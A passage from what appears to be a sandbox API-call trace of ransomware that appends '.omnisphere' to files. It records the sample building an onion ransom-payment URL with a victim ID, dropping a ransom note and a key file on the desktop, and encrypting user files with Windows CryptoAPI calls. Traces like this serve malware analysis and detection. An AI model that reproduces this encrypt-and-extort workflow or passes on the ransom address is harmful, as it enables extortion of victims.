cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.349] GetProcessHeap () returned 0x1600000 [0164.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733a68 [0164.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733a68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.349] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.349] GetProcessHeap () returned 0x1600000 [0164.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f580 [0164.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f580, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.349] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.349] GetProcessHeap () returned 0x1600000 [0164.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773538 [0164.349] PathCombineW (in: pszDest=0x1773538, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.349] GetProcessHeap () returned 0x1600000 [0164.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1752f60 [0164.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.350] WriteFile (in: hFile=0x39c, lpBuffer=0x1752f60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1752f60*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.350] CloseHandle (hObject=0x39c) returned 1 [0164.350] GetProcessHeap () returned 0x1600000 [0164.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1775328 | out: hHeap=0x1600000) returned 1 [0164.350] GetProcessHeap () returned 0x1600000 [0164.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a420 [0164.350] PathCombineW (in: pszDest=0x163a420, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.351] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.351] CloseHandle (hObject=0x39c) returned 1 [0164.351] GetProcessHeap () returned 0x1600000 [0164.351] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a420 | out: hHeap=0x1600000) returned 1 [0164.351] GetProcessHeap () returned 0x1600000 [0164.351] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773718 | out: hHeap=0x1600000) returned 1 [0164.351] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43e5ecd0, ftCreationTime.dwHighDateTime=0x1d4c72b, ftLastAccessTime.dwLowDateTime=0x31015f0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0x31015f0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x15ec, dwReserved0=0x0, dwReserved1=0xf5, cFileName="MdecjTnXEez.mp3", cAlternateFileName="MDECJT~1.MP3")) returned 1 [0164.351] GetProcessHeap () returned 0x1600000 [0164.351] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x16920c0 [0164.351] PathCombineW (in: pszDest=0x16920c0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="MdecjTnXEez.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3" [0164.351] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0164.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\mdecjtnxeez.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.352] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=5612) returned 1 [0164.352] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x10c8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.352] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.352] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] GetTickCount () returned 0x1168cf5 [0164.353] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16683d8) returned 1 [0164.354] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16394e8) returned 1 [0164.354] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.354] CryptDestroyKey (hKey=0x16394e8) returned 1 [0164.354] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0164.354] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15ec, lpName=0x0) returned 0x380 [0164.354] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15ec) returned 0x1480000 [0164.354] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0164.355] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16396e8) returned 1 [0164.355] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.355] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.356] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.357] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 